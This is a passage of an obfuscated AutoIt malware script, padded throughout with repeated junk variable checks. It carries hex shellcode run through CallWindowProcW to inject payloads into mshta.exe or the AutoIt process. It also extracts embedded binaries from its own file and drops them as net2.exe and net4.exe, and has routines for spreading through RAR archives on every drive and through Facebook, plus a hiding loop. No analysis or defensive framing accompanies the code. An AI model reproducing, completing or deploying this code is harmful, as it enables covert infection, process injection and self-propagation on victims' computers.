- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If FileExists(@UserProfileDir & "\" & $randoms & "\jects.txt") Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($bufferasm), "wstr", @WindowsDir & "\system32\mshta.exe", "ptr", DllStructGetPtr($binbuffer), "int", 0, "int", 0)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $net2 = "/-net2-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If NOT FileExists(@UserProfileDir & "\" & $randoms & "\jects.txt") Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If NOT StringInStr($path, $net2) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($bufferasm), "wstr", @AutoItExe, "ptr", DllStructGetPtr($binbuffer), "int", 0, "int", 0)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func shell()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $asm = "0x60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $asm &= "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $asm &= "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $asm &= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $asm &= "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $asm &= "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $asm &= "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $asm &= "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Return $asm
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $rarspread = "-rar-"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $rarspread) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("rar_spread")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $facebook = "-facebook-"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $facebook) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("FaceBook_Timer")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $loop = "-loop-"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $loop) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("loop")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func loop()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- While 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- AdlibRegister("hide", 1)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(250)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- WEnd
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func net2()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If NOT FileExists(@UserProfileDir & "\" & $randoms & "\net2.exe") Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $o_c = FileOpen(@ScriptFullPath)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $r_c = FileRead($o_c)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileClose($o_c)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $empty_settings = get_binded_settings($r_c, "[Snet2]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $file_settings = get_binded_settings($empty_settings, "[Enet2]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $binary_of_server = StringTrimRight($empty_settings, StringLen($file_settings) + StringLen("[Enet2]"))
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileWrite(@UserProfileDir & "\" & $randoms & "\net2.exe", $binary_of_server)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func net4()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If NOT FileExists(@UserProfileDir & "\" & $randoms & "\net4.exe") Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $o_c = FileOpen(@ScriptFullPath)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $r_c = FileRead($o_c)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileClose($o_c)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $empty_settings = get_binded_settings($r_c, "[Snet4]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $file_settings = get_binded_settings($empty_settings, "[Enet4]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $binary_of_server = StringTrimRight($empty_settings, StringLen($file_settings) + StringLen("[Enet4]"))
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileWrite(@UserProfileDir & "\" & $randoms & "\net4.exe", $binary_of_server)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func rar_spread()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If FileExists(@ProgramFilesDir & "\WinRar\rar.exe") AND NOT FileExists(@TempDir & "\rar.dat") Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileWrite(@TempDir & "\rar.dat", "rar")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $drive = DriveGetDrive("ALL")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If IsArray($drive) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- For $i = 1 To $drive[0]
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If DriveSpaceFree($drive[$i]) > 100 Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- search_dir_rar($drive[$i] & "\")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
